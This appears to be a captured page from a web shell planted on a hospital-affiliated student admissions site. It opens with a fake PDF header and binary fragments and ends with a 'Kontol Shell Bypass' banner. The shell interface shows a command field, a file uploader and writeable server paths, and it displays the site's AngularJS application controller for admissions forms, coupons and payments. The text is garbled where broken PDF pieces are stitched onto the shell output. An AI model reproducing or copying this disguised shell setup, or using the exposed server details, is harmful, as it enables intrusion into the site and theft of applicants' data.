%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/student-panel/app-js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/student-panel/app-js/application.js
/** Application Controller **/
MetronicApp.controller("Application", function ($scope, $rootScope, $http, $state, $stateParams, $timeout, Auth) {
	var CR = this;
	CR.appDtl = {};

	CR.getPrograms = function (ac_id) {
		CR.appDtl.program_id = '';
		CR.plans = [];
		CR.appDtl.plan_id = '';

		CR.programs = [];
		$.each(CR.courses, function (k, v) {
			if (v.ac_id == ac_id) {
				CR.programs.push({ id: v.id, title: v.title });
			}
		});
	}

	CR.getPlans = function (program_id) {
		CR.appDtl.plan_id = '';

		CR.plans = [];
		$.each(CR.allPlans, function (k, v) {
			if (v.program_id == program_id) {
				CR.plans.push({ id: v.id, title: v.title });
			}
		});
	}

	CR.getCities = function (state_id, fromDtl) {
		if (!fromDtl) {
			CR.dtl.city_id = '';
			CR.dtl.city = '';
			CR.dtl.pincode = '';
		}

		CR.cities = [];
		$.each(CR.allCities, function (k, v) {
			if (v.state_id == state_id) {
				CR.cities.push({ id: v.id, title: v.title, pincode: v.pincode });
			}
		});
	}

	CR.cityChangeEvent = function (city_id) {
		if (city_id != '-1') {
			CR.dtl.city = '';
		}
		//CR.dtl.pincode=$("#citydd option:selected").attr('pincode');
	}
	CR.updateApplicationDtl = function (plan_id, program_id, ac_id, id, campus_id) {
		show_loader();
		$http({ url: API_URL + 'user/updateApplicationDtl', method: 'POST', data: { plan_id: plan_id, program_id: program_id, ac_id: ac_id, id: id, campus_id: campus_id, fromApplicationPage: 'Y' } }).success(
			function (res) {
				if (res.success == 'T') {
					CR.appDtl = res.appDtl;
					CR.acDtl = res.acDtl;
					//show_alert_msg(res.msg);
					show_alert_msg("Specialization changed");
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.updateGender = function (id, gender) {
		show_loader();
		$http({ url: API_URL + 'user/updateGender', method: 'POST', data: { app_id: id, gender } }).success(
			function (res) {
				if (res.success == 'T') {
					CR.appDtl = res.appDtl;
					CR.check_applied_offer();
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.updatePersonalNdEduDtl = function () {
		var frm = $("#step2Form");
		hide_form_errors(frm);
		show_loader();
		$http({ url: API_URL + 'user/updatePersonalNdEduDtl', method: 'POST', data: frm.serialize() }).success(
			function (res) {
				if (res.success == 'T') {
					CR.appDtl = res.appDtl;
					show_alert_msg(res.msg);
				} else {
					show_alert_msg(res.msg, 'E');
					//show_form_errors(res.errors, frm);
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.selectedCoupan = { id: '', amt: 0 };
	CR.applyCoupan = function (ob) {
		if (ob === 'PER12TH85') {
			if (CR.per_12th_85 == '0') {
				CR.per_12th = '';
			}

			//CR.selectedCoupan=CR.per_12th_85=='1'?{id:ob, amt:Math.round(CR.appDtl.fee/2)}:{id:'', amt:0};
			CR.selectedCoupan = CR.per_12th_85 == '1' ? { id: ob, amt: CR.appDtl.fee / 2 } : { id: '', amt: 0 };
			CR.appDtl.netAmt = CR.appDtl.fee - CR.selectedCoupan.amt;
		} else {
			$.each(CR.appDtl.coupans, function (k, v) {
				v.applied = false;
			});
			ob.applied = true;
			CR.selectedCoupan = angular.copy(ob);
			CR.appDtl.netAmt = CR.appDtl.fee - CR.selectedCoupan.amt;
		}
		reinitAccordian();
	}
	CR.check_applied_offer = function () {
		var g = CR.dtl.gender;
		if (CR.selectedCoupan.id) {
			if (CR.selectedCoupan.gender) {
				if (CR.selectedCoupan.gender != g) {
					CR.selectedCoupan = { id: '', amt: 0 };
					CR.appDtl.netAmt = CR.appDtl.fee - CR.selectedCoupan.amt;

					$.each(CR.appDtl.coupans, function (k, v) {
						v.applied = false;
					});
				}
			}
		}

		$timeout(function () {
			if ($(".offerlist").length) {
				$(".offerh").show();
			} else {
				$(".offerh").hide();
			}
		});
	}

	CR.proceedPayment = function () {
		show_loader();
		$http({ url: API_URL + 'user/proceedPayment', method: 'POST', data: { app_id: CR.appDtl.id, coupan_id: CR.selectedCoupan.id, per_12th: CR.per_12th || '' } }).success(
			function (res) {
				if (res.success == 'T') {
					redirect(res.payTMUrl);
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.submitApplication = function () { 
		var frm = $("#appForm");
		hide_form_errors(frm);
		// if (!CR.appDtl.plan_id) {
		// 	show_alert_msg("Please select specialization", 'E');
		// 	return;
		// }

		var formData = new FormData(frm[0]);
		formData.append('coupan_id', CR.selectedCoupan.id);
		show_loader();
		$http({ url: API_URL + 'user/submitApplication', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
			function (res) {
				if (res.success == 'T') {
					// if (CR.appDtl.fee * 1 > 0 && res.payTMUrl) {
					// 	redirect(res.payTMUrl);
					// }
						// redirect(landingPage(true)+'/dashboard/pre-registration');
						redirect(landingPage(true)+'/dashboard/admission-form');

				//  else {
					// 	$rootScope.goto("reg-complete");
					// }
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.clearDocument = function(documentType) {
		if (documentType === 'tenth_document') {
		  $scope.CR.dtl.tenth_document = null;
		  $scope.CR.dtl.tenth_document_name = null;
		} else if (documentType === 'twth_document') {
		  $scope.CR.dtl.twth_document = null;
		  $scope.CR.dtl.twth_document_name = null;
		}
	  };

	CR.changeMarkingScheme = function (marking_scheme, degree_type) {
		var allowed_vals = CR.markingSchemeVal(marking_scheme);
		if (degree_type == '10th') {
			CR.eduDtl.marks_10th = '';
			CR.eduDtl.marks_10th_vals = allowed_vals;
		} else if (degree_type == '12th') {
			CR.eduDtl.marks_12th = '';
			CR.eduDtl.marks_12th_vals = allowed_vals;
		} else if (degree_type == 'dip') {
			CR.eduDtl.marks_dip = '';
			CR.eduDtl.marks_dip_vals = allowed_vals;
		} else if (degree_type == 'ug') {
			CR.eduDtl.marks_ug = '';
			CR.eduDtl.marks_ug_vals = allowed_vals;
		} else if (degree_type == 'pg') {
			CR.eduDtl.marks_pg = '';
			CR.eduDtl.marks_pg_vals = allowed_vals;
		}
	}

	CR.markingSchemeVal = function (id) {
		var res = [];
		if (id && id != '0') {
			CR.markingSchemes.map(function (val, i) {
				if (val.id == id) {
					res = val.allowed_values;
				}
			});
		}
		return res;
	}

	CR.campusChange = () => {
		CR.appDtl.discipline_id = '';
		CR.appDtl.plan_id = '';
	}

	CR.disstart = true;
	CR.chkInstructions = () => {
		if ($("#inschk").prop("checked")) {
			CR.disstart = false;
		} else {
			CR.disstart = true;
		}
	}
	CR.showForm = () => {
		$(".instructions").hide();
		$(".frmdivbx").removeClass("hide");
	}

	CR.submitStep4=function(el_name){
		console.log("el_name : ",el_name)
        if(el_name==='Step4'){
            if(!CR.data.marksheet_10th_url){
                bootboxAlert("Alert", "10th marksheet/certificate required");
                return;
            }
    
            if(CR.data.ac_dtl.req_12th=='1' && !CR.data.marksheet_12th_url){	
                bootboxAlert("Alert", "12th marksheet/certificate required");
                return;
            }
    
            if(CR.data.ac_dtl.req_ug=='1' && !CR.data.marksheet_ug.length){
                bootboxAlert("Alert", "Graduation marksheet/certificate required");
                return;
            }
    
            if(CR.data.ac_dtl.req_pg=='1' && !CR.data.marksheet_pg.length){
                bootboxAlert("Alert", "Post Graduation marksheet/certificate required");
                return;
            }
    
            if(!CR.data.id_proof_img_url){
                bootboxAlert("Alert", "ID proof required");
                return;
            }
        }

        var frm=$("#step4form");
        var formData=new FormData(frm[0]);
        formData.append('el_name', (el_name || ''));
        show_loader();
        $http({ url: API_URL + 'admform/save_step4', method: 'POST', data: formData, headers: {'Content-Type': undefined} }).success(
            function(res) {
                if (res.success) {
                    CR.data.step_completed = res.step_completed;
                    CR.data.final_submitted = res.final_submitted;

                    show_alert_msg(res.msg);
                    CR.data={...CR.data, ...res.result};

                    $("#step4form input[type='file']").val('');
                } else {
                    show_alert_msg(res.msg, 'E');
                }
            }
        );
    }

	/** Init */
	CR.init = function () {
		set_datepicker();

		show_loader();
		$http({ url: API_URL + 'user/initApplication/' + $stateParams.id + '/' + $stateParams.id_type }).success(
			function (res) {
				if (res.success == 'F') {
					show_alert_msg(res.msg, 'E');
					$state.go('dashboard');
					return;
				}

				CR.dtl = res.dtl;
				CR.eduDtl = (res.eduDtl) ? res.eduDtl : {};
				CR.appDtl = res.appDtl;
				CR.acDtl = res.acDtl;

				CR.applicantCats = res.applicantCats;
				CR.religions = res.religions;
				CR.markingSchemes = res.markingSchemes;
				CR.states = res.states;
				CR.countrys = res.countrys;
				CR.academicCareers = res.academicCareers;
				CR.programs = res.programs;
				CR.plans = res.plans;
				CR.pyears = res.pyears;

				CR.disciplines = res.disciplines;
				CR.courses = res.courses;
				CR.allPlans = res.allPlans;
				CR.allCities = res.allCities;

				CR.campuses = res.campuses;

				if (CR.dtl.city_id != '-1') {
					CR.dtl.city = '';
				}
				CR.getCities(CR.dtl.state_id, true);

				set_numeric_input();
				$timeout(function () {
					initClassieForm();

					var b10id = angular.isObject(res.eduDtl) ? res.eduDtl.board_id_10th : '';
					var b12id = angular.isObject(res.eduDtl) ? res.eduDtl.board_id_12th : '';
					var bdipid = angular.isObject(res.eduDtl) ? res.eduDtl.board_id_dip : '';
					var uugid = angular.isObject(res.eduDtl) ? res.eduDtl.university_id_ug : '';
					var upgid = angular.isObject(res.eduDtl) ? res.eduDtl.university_id_pg : '';

					setBoardsDD(res.boards, b10id, b12id, bdipid);
					setUniDD(res.universities, uugid, upgid);

					if ($(".offerlist").length) {
						$(".offerh").show();
					} else {
						$(".offerh").hide();
					}
				});

				if (CR.appDtl.step_completed == 3) {
					$(".step2bx").find('input,select,textarea').prop('disabled', true);
				}

				CR.eduDtl.marks_10th_vals = CR.markingSchemeVal(CR.eduDtl.marking_scheme_id_10th);
				CR.eduDtl.marks_12th_vals = CR.markingSchemeVal(CR.eduDtl.marking_scheme_id_12th);
				CR.eduDtl.marks_dip_vals = CR.markingSchemeVal(CR.eduDtl.marking_scheme_id_dip);
				CR.eduDtl.marks_ug_vals = CR.markingSchemeVal(CR.eduDtl.marking_scheme_id_ug);
				CR.eduDtl.marks_pg_vals = CR.markingSchemeVal(CR.eduDtl.marking_scheme_id_pg);
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.init();
});

/** Non Angular */
function setBoardsDD(data, b10, b12, bdip) {
	var e = '<option value="">Select Board</option>';
	$.each(data, function (k, v) {
		e += '<option value="' + v.id + '">' + v.title + '</option>';
	});
	e += '<option value="-1">Other</option>';
	$("[name='board_id_10th'],[name='board_id_12th'],[name='board_id_dip']").html(e);
	$("[name='board_id_10th']").val(b10);
	$("[name='board_id_12th']").val(b12);
	$("[name='board_id_dip']").val(bdip);
}

function setUniDD(data, uug, upg) {
	var e = '<option value="">Select University</option>';
	$.each(data, function (k, v) {
		e += '<option value="' + v.id + '">' + v.title + '</option>';
	});
	e += '<option value="-1">Other</option>';
	$("[name='university_id_ug'],[name='university_id_pg']").html(e);
	$("[name='university_id_ug']").val(uug);
	$("[name='university_id_pg']").val(upg);
}

function uploadDoc(ob){
	console.log(ob);
    if(!checkImagePdf(ob)){
        return;
    }
    angular.element(ob).scope().CR.submitStep4($(ob).attr('name'));
}

//EOF

Kontol Shell Bypass